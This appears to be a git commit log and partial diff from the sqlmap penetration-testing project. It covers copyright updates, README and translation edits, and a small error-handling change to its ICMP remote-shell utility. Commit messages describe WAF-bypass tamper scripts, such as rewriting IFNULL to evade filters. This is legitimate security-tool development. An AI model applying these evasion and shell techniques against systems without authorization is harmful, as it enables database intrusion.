909a3456e3 Potential fix for #2980 2018-03-13 14:40:32 +01:00
Miroslav Stampar
fa4c1c5251 Some more PEPing (I hope that I haven't broke anything) 2018-03-13 13:45:42 +01:00
Miroslav Stampar
8166a4eeb8 Minor PEPing 2018-03-13 11:25:26 +01:00
Miroslav Stampar
ae2b02952f Dealing with deprecated raises 2018-03-13 11:13:38 +01:00
Miroslav Stampar
1d9c11b1c1 Minor update of Travis config 2018-03-13 11:03:05 +01:00
Miroslav Stampar
99894dc3c1 Minor update (git/https repo address consistency) 2018-03-13 10:37:13 +01:00
Miroslav Stampar
0c4b6c9978 Fixes #2974 2018-03-12 11:37:48 +01:00
Miroslav Stampar
cd88caa0e7 Fixes #2977 2018-03-11 03:34:31 +01:00
Miroslav Stampar
c024233f88 Minor patch 2018-03-11 03:28:19 +01:00
Miroslav Stampar
5380e8174b Safer WAF heuristics in case of URI injections 2018-03-11 03:20:33 +01:00
Miroslav Stampar
4cefff7e98 Bug fix (misencoding inside check waf payload) 2018-03-11 03:13:33 +01:00
Miroslav Stampar
11b52c85e1 Patch of bug introduced with 76905e8728 2018-03-11 02:46:37 +01:00
Miroslav Stampar
24cefeaee2 Minor notification update 2018-03-11 02:20:22 +01:00
Miroslav Stampar
9ad32864ec Fixes #2973 2018-03-11 02:15:17 +01:00
Miroslav Stampar
190e8ae5fa Bug fix (UNION SQLi with --no-escape) 2018-03-08 17:44:15 +01:00
Miroslav Stampar
43044d8512 Added new compiled 64-bit version (Issue #2965) 2018-03-08 13:33:49 +01:00
Miroslav Stampar
881b49afd2 Fixes #2969 2018-03-08 01:21:34 +01:00
Miroslav Stampar
93b425809e With latest NULL checks (Issue #2965) 2018-03-07 16:04:35 +01:00
Miroslav Stampar
4f2f31af67 Compiled 32-bit version for #2965 2018-03-07 15:43:42 +01:00
Miroslav Stampar
f95d0c831b Minor refactoring (already default mode in os.makedirs) 2018-03-07 14:34:38 +01:00
Miroslav Stampar
76905e8728 Patch related to the #2953 2018-03-05 10:53:24 +01:00
Miroslav Stampar
8d6cc4ae2c Fixes #2959 2018-03-03 00:50:47 +01:00
Miroslav Stampar
a369f61207 Fixes #2956 2018-03-03 00:27:21 +01:00
Miroslav Stampar
34d2fb1c8f Fixes #2957 2018-03-03 00:01:26 +01:00
Miroslav Stampar
ec6de40a8d Fixes #2958 2018-03-02 23:38:07 +01:00
Miroslav Stampar
6402d2ec57 Fixes #2952 2018-02-28 09:44:45 +01:00
Miroslav Stampar
b25f2bfa45 Minor patch (not not upload to <script.ext>/ directories) 2018-02-27 12:57:48 +01:00
Miroslav Stampar
9df16f3eb2 Bug fix (regex for paths included full error message) 2018-02-27 12:49:05 +01:00
Miroslav Stampar
d99151ce5a Minor update for --wizard mode 2018-02-27 12:37:45 +01:00
Miroslav Stampar
93859fdc42 Fixes #2948 2018-02-26 13:37:19 +01:00
Miroslav Stampar
b595b883d1 Temporary patch for #2947 2018-02-25 17:39:21 +01:00
Miroslav Stampar
67f8c22702 Fixes #2942 2018-02-21 11:47:01 +01:00
Miroslav Stampar
24cc6e92e9 Trivial update 2018-02-20 14:26:31 +01:00
Miroslav Stampar
f38596a5b3 Minor refactoring 2018-02-20 14:02:02 +01:00
Miroslav Stampar
5ff54bf9c6 Fixes #2934 2018-02-14 17:10:44 +01:00
Miroslav Stampar
8e8ae52288 Minor text update 2018-02-13 23:10:53 +01:00
Miroslav Stampar
e2cc9569e5 Implementation for an Issue #2891 2018-02-13 15:53:50 +01:00
Miroslav Stampar
365fa5a52a Fixes #2923 2018-02-10 11:06:31 +01:00
Miroslav Stampar
faaae2b647 Minor refactoring 2018-02-08 17:08:44 +01:00
Miroslav Stampar
d813d24c48 Minor update 2018-02-08 16:58:50 +01:00
Miroslav Stampar
e347d90ec5 Minor patch 2018-02-08 16:53:46 +01:00
Miroslav Stampar
56a4e507e8 Minor refactoring 2018-02-08 16:49:16 +01:00
Miroslav Stampar
5b99180ffe Update for an Issue #806 2018-02-08 00:04:04 +01:00
Miroslav Stampar
061c8da36b Proper overlongutf8.py (Issue #806) 2018-02-07 23:59:36 +01:00
Miroslav Stampar
a16663f9a1 Minor refactoring 2018-02-07 16:05:41 +01:00
Miroslav Stampar
62fc2e1e17 Fixes #2911 2018-02-06 10:48:47 +01:00
Miroslav Stampar
ef8b2d793f Fixes #2910 2018-02-06 10:27:10 +01:00
Miroslav Stampar
aebfb7d597 Update related to the #2912 2018-02-06 09:50:36 +01:00
Miroslav Stampar
9e75bb7f68 Minor patch 2018-01-31 11:43:17 +01:00
Miroslav Stampar
be7711bcdb Minor patch related to the #2900 2018-01-31 11:29:53 +01:00
Miroslav Stampar
10fd004dec Reverting set() brace form because of Python 2.6 compatibility issues 2018-01-31 11:24:28 +01:00
Miroslav Stampar
0a8bc52910 Minor updates 2018-01-31 11:13:08 +01:00
Miroslav Stampar
31fa7f6c94 Trivial update# 2018-01-31 10:50:34 +01:00
Miroslav Stampar
30f8c30d6a Minor update 2018-01-31 10:36:13 +01:00
Miroslav Stampar
fd8bbaff9f Minor update of error regexes 2018-01-31 00:15:11 +01:00
Miroslav Stampar
02661c166d Removing leftover pdb (#2769) 2018-01-25 12:31:22 +01:00
Miroslav Stampar
4bf20066ec Update related to the #2769 2018-01-25 12:29:56 +01:00
Miroslav Stampar
c5730ee88d Update related to the #2677 2018-01-25 12:23:54 +01:00
Miroslav Stampar
a7bf4f47e6 Update related to the #2677 2018-01-25 12:13:33 +01:00
Miroslav Stampar
fc06d4d9cb Adding full OS info in error reports 2018-01-21 11:54:42 +01:00
Miroslav Stampar
4b9613e362 Trivial update 2018-01-21 11:49:50 +01:00
Miroslav Stampar
cea9d1c75e Patch related to the #2890 2018-01-21 11:11:20 +01:00
Miroslav Stampar
94c170d392 Minor refactoring 2018-01-15 14:04:41 +01:00
Miroslav Stampar
18626656ec Minor patch 2018-01-15 13:53:46 +01:00
Miroslav Stampar
e5ab678db0 Fixes #2856 2018-01-15 13:43:50 +01:00
Miroslav Stampar
a59198d1e4 Minor just in case patch (to prevent junk reports) 2018-01-15 09:48:07 +01:00
Miroslav Stampar
f6738adc04 Abracadabra #2790 2018-01-12 16:17:57 +01:00
Miroslav Stampar
e0dee9418d Fixes #2866 2018-01-08 01:21:29 +01:00
Miroslav Stampar
439f8247b6 Revert of version string 2018-01-02 01:08:47 +01:00
Miroslav Stampar
165b275fd7 Update of version 2018-01-02 01:05:01 +01:00
Miroslav Stampar
811bd0e89f Updating version string for fresh tag 2018-01-02 00:55:08 +01:00
Miroslav Stampar
47bbcf90ea More updates of copyright years 2018-01-02 00:50:07 +01:00
Miroslav Stampar
8a122401aa Update of copyright years 2018-01-02 00:48:10 +01:00
Miroslav Stampar
ddc453e3da Update of minor revision 2018-01-02 00:44:40 +01:00
Miroslav Stampar
764d114b3c Fixes #2858 2018-01-02 00:42:20 +01:00
Miroslav Stampar
6e9fe27fa0 Minor patch related to the #2856 2017-12-30 16:35:45 +01:00
Miroslav Stampar
132fb0d18d Another just in case patch for #2852 2017-12-30 16:25:19 +01:00
Miroslav Stampar
84b7a26bfd Minor patch for #2852 2017-12-29 13:52:15 +01:00
Miroslav Stampar
66c1f72a16 Minor optimization 2017-12-29 13:04:52 +01:00
Miroslav Stampar
b6584c8043 Fixes #2853 2017-12-28 13:25:26 +01:00
Miroslav Stampar
78ac42c168 Minor refactoring 2017-12-28 12:56:30 +01:00
Miroslav Stampar
009f13742e Dirty patch for safe-encoded unicode characters 2017-12-27 12:23:35 +01:00
Miroslav Stampar
1df0461893 Guessing patch for #2837 (as of lack of user data) 2017-12-25 00:18:06 +01:00
Miroslav Stampar
bc1fbc5a58 Potential patch for #2847 2017-12-24 23:54:43 +01:00
Miroslav Stampar
cad6cfe6a6 Fixes #2843 2017-12-24 04:03:32 +01:00
Miroslav Stampar
7ade3aa1ad Fixes #2841 2017-12-22 01:25:03 +01:00
Miroslav Stampar
0b24a80387 Patch related to the --hex and --technique=E (potential patch for #2837) 2017-12-20 14:51:15 +01:00
Miroslav Stampar
574074e171 Another patch for #2827 2017-12-14 15:45:14 +01:00
Miroslav Stampar
f2f7994ac6 Minor improvement of generic WAF script 2017-12-13 15:31:35 +01:00
Miroslav Stampar
42ddfd8f50 Minor bug fix 2017-12-13 15:12:03 +01:00
Miroslav Stampar
2d4391dc36 Adding new WAF script (F5 ASM) 2017-12-13 15:10:15 +01:00
Miroslav Stampar
5326df1071 Minor grammar fix 2017-12-13 13:49:55 +01:00
Miroslav Stampar
9a2cdd4b59 Potential patch for #2826 2017-12-13 13:22:42 +01:00
Miroslav Stampar
acd764fee8 Fixes #2828 2017-12-13 10:46:46 +01:00
Miroslav Stampar
310a82933c Patch for #2827 2017-12-13 10:22:25 +01:00
Miroslav Stampar
b1662f54c8 Revisiting some of links 2017-12-12 13:39:58 +01:00
Miroslav Stampar
8cef17b583 Minor just in case patch (error set in case of --string) 2017-12-12 11:18:17 +01:00
Miroslav Stampar
cb1b5d30fd Minor refactoring 2017-12-12 10:48:19 +01:00
Miroslav Stampar
5d6b972002 Switching Informix dump from regular to pivotdumptable 2017-12-11 14:49:30 +01:00
Miroslav Stampar
57044262d9 Minor patch for pivotdump 2017-12-11 14:15:11 +01:00
Miroslav Stampar
8d19c3bd46 Proper patch related to the dde1178100 2017-12-11 13:01:37 +01:00
Miroslav Stampar
b9efdb2999 Fixes #2824 2017-12-11 11:26:09 +01:00
Miroslav Stampar
dde1178100 Fixes (old) Informix escaping 2017-12-11 10:44:47 +01:00
Miroslav Stampar
638dbf255a Fixes #2818 2017-12-06 13:42:15 +01:00
Miroslav Stampar
a90b5f7fb3 Fixes #2766 2017-12-05 11:33:30 +01:00
Miroslav Stampar
06ca058300 Fixes #2812 2017-12-04 15:40:59 +01:00
Miroslav Stampar
370884d07a Fixes #2811 2017-12-04 14:59:05 +01:00
Miroslav Stampar
91bffe988b Minor patch 2017-12-04 14:22:51 +01:00
Miroslav Stampar
220dffbcfa Couple of wording updates 2017-12-04 13:59:35 +01:00
Miroslav Stampar
9fab2c9764 Minor refactoring 2017-12-04 13:41:02 +01:00
Miroslav Stampar
7244e8e4e2 Minor patches 2017-12-04 13:24:51 +01:00
Miroslav Stampar
e7268ffb4d Fixes #2809 2017-12-01 10:32:44 +01:00
Miroslav Stampar
7c5b051d60 Fixes #2808 2017-11-29 15:59:00 +01:00
Miroslav Stampar
5899fd5ef2 Update related to the #2806 2017-11-27 22:24:44 +01:00
Miroslav Stampar
f60727a891 Minor update of sitelock.py 2017-11-26 12:11:09 +01:00
Miroslav Stampar
792ed52ab5 New WAF scripts 2017-11-26 12:06:23 +01:00
Miroslav Stampar
132a72c9bd Minor update of logging messages 2017-11-24 12:20:57 +01:00
Miroslav Stampar
8735a49f63 Some more refactoring 2017-11-24 11:49:31 +01:00
Miroslav Stampar
b9e2e8b74d Minor refactoring 2017-11-24 11:44:14 +01:00
Miroslav Stampar
b23626db70 Minor update 2017-11-24 11:36:27 +01:00
Miroslav Stampar
33d8ce8923 Minor patches 2017-11-24 10:54:03 +01:00
Miroslav Stampar
72f7caa23b Minor refactoring 2017-11-24 10:38:29 +01:00
Miroslav Stampar
284bdac72c Minor patch 2017-11-22 16:17:14 +01:00
Miroslav Stampar
7d6a3c4034 Refactoring shell files 2017-11-22 15:59:29 +01:00
Miroslav Stampar
02274f6db1 Minor patch (smoke test failed) 2017-11-22 13:31:44 +01:00
Miroslav Stampar
bf8b2eb21e Minor update regarding #2791 2017-11-22 13:29:39 +01:00
Vitaly Salnikov
1436333960 Add new tamper script witch can Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END', it could be usefull for bypass some weak WAFs that filter the 'IFNULL' and 'IF' functions (#2791) 2017-11-22 13:27:49 +01:00
Miroslav Stampar
d7677f322d Fixes #2793 2017-11-22 13:07:04 +01:00
Miroslav Stampar
ab641e9242 Minor improvement for sonicwall WAF script 2017-11-21 09:23:16 +01:00
Miroslav Stampar
ec83837342 Fixes #2786 2017-11-19 02:51:29 +01:00
Miroslav Stampar
2333903b68 Fixes #2785 2017-11-19 02:16:52 +01:00
Miroslav Stampar
d54ec88648 Adding compression to BigArray mechanism (to save disk space on big dumps) 2017-11-17 11:45:02 +01:00
Houziaux Mike
f210d66dff fix wording to french documentation (#2782) 2017-11-17 09:39:48 +01:00
Miroslav Stampar
a651c8a637 Fixes #2779 2017-11-15 10:36:32 +01:00
Miroslav Stampar
b608c21dff Fixes #2778 2017-11-15 09:51:20 +01:00
Miroslav Stampar
88df293a1a Better approach as @cachedmethod got improved 2017-11-13 22:53:22 +01:00
Miroslav Stampar
323f1285b6 Fixes #2774 2017-11-13 14:07:12 +01:00
Miroslav Stampar
26b81f58bb Fixes #2772 2017-11-13 11:19:25 +01:00
Miroslav Stampar
839070d6ee Minor refactoring 2017-11-10 13:03:24 +01:00
Miroslav Stampar
28ee12c4d2 Adding delayed imports 2017-11-10 12:34:54 +01:00
Miroslav Stampar
bc61a6828c Quick patch for #2770 2017-11-10 10:45:20 +01:00
Miroslav Stampar
e9380627e1 Better one for Issue #2769 2017-11-10 00:44:33 +01:00
Miroslav Stampar
e80e841b25 Update related to the Issue #2769 2017-11-10 00:41:03 +01:00
Miroslav Stampar
4102d87521 Better SELECT_FROM_TABLE_REGEX regex 2017-11-09 13:56:01 +01:00
Miroslav Stampar
67b470245e Minor cleanup of NULL connection 2017-11-09 13:45:52 +01:00
Miroslav Stampar
d148694a4b Minor refactoring 2017-11-09 12:24:58 +01:00
Miroslav Stampar
9404b63a42 Some memory improvements of @cachedmethod 2017-11-09 12:24:11 +01:00
Miroslav Stampar
58b87e4b6b Some more refactoring 2017-11-08 15:58:23 +01:00
Miroslav Stampar
5c35aff22a Minor refactoring 2017-11-08 15:47:12 +01:00
Miroslav Stampar
18d78a34cc Removing unused methods 2017-11-06 13:53:35 +01:00
Thomas
f9e80adcef Minor update to Sucuri WAF script (#2761) 2017-11-06 13:09:24 +01:00
Miroslav Stampar
e5f96102af Fixes #2763 2017-11-06 10:53:50 +01:00
Miroslav Stampar
d9bf33ea1d Minor beauty patch 2017-11-06 10:36:17 +01:00
Miroslav Stampar
0d1ea50785 Fixes #2762 2017-11-06 10:00:29 +01:00
Miroslav Stampar
cc37b12d37 Minor update 2017-11-02 14:31:16 +01:00
409 changed files with 6883 additions and 4780 deletions

View File

@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change.
* Wrap code to 76 columns when possible.
* Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.

View File

@@ -1,4 +1,7 @@
language: python
sudo: false
git:
depth: 1
python:
- "2.6"
- "2.7"

View File

@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -1,10 +1,10 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
Screenshots
----
@@ -64,5 +64,6 @@ Translations
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)

View File

@@ -3,7 +3,7 @@
* Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports.
* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms.
* Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode.
* Added wordlist compilation made of the most popular cracking dictionaries.
* Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
* Added option `--csv-del` for manually setting delimiting character used in CSV output.
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection.
* Added switch `--check-waf` for checking of existence of WAF/IPS protection.
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
* Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
* Added option `--host` to set the HTTP Host header value.
* Added switch `--hostname` to turn on retrieval of DBMS server hostname.
* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
* Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
* Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
* Added option `--skip` to skip testing of given parameter(s).
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
* Added switch `--skip-urlencode` to skip URL encoding of payload data.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.

View File

@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
* for his great Metasploit WMAP Framework
Jennifer Torres, <jtorresf42(at)gmail.com>
* for contributing a tamper script luanginx.py
Sandro Tosi, <matrixhasu(at)gmail.com>
* for helping to create sqlmap Debian package correctly
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
Patrick Webster, <patrick(at)aushack.com>
* for suggesting an enhancement
* for donating to sqlmap development (from OSI.Security)
Ed Williams, <ed.williams(at)ngssecure.com>
* for suggesting a minor enhancement

View File

@@ -13,7 +13,7 @@ Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/w
Installation
----
Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):
@@ -21,7 +21,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)
Usage
Utilisation
----
Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez:
@@ -33,7 +33,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens
----
@@ -41,7 +41,7 @@ Liens
* Page d'acceuil: http://sqlmap.org
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)

View File

@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
Скриншоты
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
Установка
----
Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
Использование
----
Чтобы получить список основных опций и вариантов выбора, используйте:
python sqlmap.py -h
Чтобы получить список всех опций и вариантов выбора, используйте:
python sqlmap.py -hh
Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Ссылки
----
* Основной сайт: http://sqlmap.org
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -3,7 +3,7 @@
"""
beep.py - Make a beep sound
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -3,7 +3,7 @@
"""
cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -3,7 +3,7 @@
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -80,7 +80,7 @@ def main(src, dst):
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
@@ -125,8 +125,12 @@ def main(src, dst):
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
try:
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error, ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
if __name__ == '__main__':
if len(sys.argv) < 3:

View File

@@ -1,137 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import os
import re
import urllib2
import urlparse
from xml.dom.minidom import Document
# Path to the XML file with signatures
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
def updateMSSQLXML():
if not os.path.exists(MSSQL_XML):
errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
print errMsg
return
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
print infoMsg
try:
req = urllib2.Request(MSSQL_VERSIONS_URL)
f = urllib2.urlopen(req)
mssqlVersionsHtmlString = f.read()
f.close()
except urllib2.URLError:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
warnMsg += " check your Internet connection and retry"
print warnMsg
return
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
releasesCount = len(releases)
# Create the minidom document
doc = Document()
# Create the <root> base element
root = doc.createElement("root")
doc.appendChild(root)
for index in xrange(0, releasesCount):
release = releases[index]
